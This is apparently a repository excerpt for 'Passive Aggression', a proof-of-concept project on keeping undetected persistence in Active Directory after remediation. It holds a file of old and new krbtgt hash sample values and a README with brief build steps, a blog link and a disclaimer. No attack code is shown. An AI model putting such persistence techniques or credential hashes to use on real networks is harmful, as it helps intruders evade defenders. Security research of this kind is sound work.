-------------------------------------------------------------------------------- 1 | Old krbtgthash: 21789f1a5fd02143e93ea9d2fb2d6e33 2 | New krbtgthash: ad840b4a42cb50b8d854afb62e1220e8 -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | 2 | # Passive Aggression 3 | This repo contains test samples and proof-of-concept code for achieving passive persistence in Active Directory (AD) environments, even after remediation efforts. Some of these techniques may result in an eternal persistence scenario, where an attacker does not need to have access to domain controllers or domain joined machines, allowing them to continuously persist in the network without detection. 4 | 5 | More PoCs and samples will be added in the coming weeks. 6 | 7 | ## How to use 8 | - Add reference to `.\NtApiDotNet\NtApiDotNet.dll` 9 | - Specify `pcapng` and `keytab` in `Program.cs` 10 | - Compile and profit 11 | 12 | Read our blog series for more information: https://www.huntandhackett.com/blog/how-to-achieve-eternal-persistence 13 | 14 | 15 | # Legal disclaimer 16 | Please make sure that you use __PassiveAggression__ in a responsible manner: assess whether there are any characteristics of the environment, or applicable (internal or external) laws, rules or regulations, that prevent you from using __PassiveAggression__. 17 | You remain solely responsible for any damage or consequences that might occur as a result of, or related to the use of __PassiveAggression__ or any of the information as included in this blogpost. 18 | 19 | # Credits 20 | Parts of the code in this repository have been inspired by the works of: 21 | - Sharpkatz: https://github.com/b4rtik/SharpKatz 22 | - Impacket: https://github.com/fortra/impacket 23 | - NtApiDotNet: https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/main/NtApiDotNet 24 | - FuzzySec: https://github.com/FuzzySecurity --------------------------------------------------------------------------------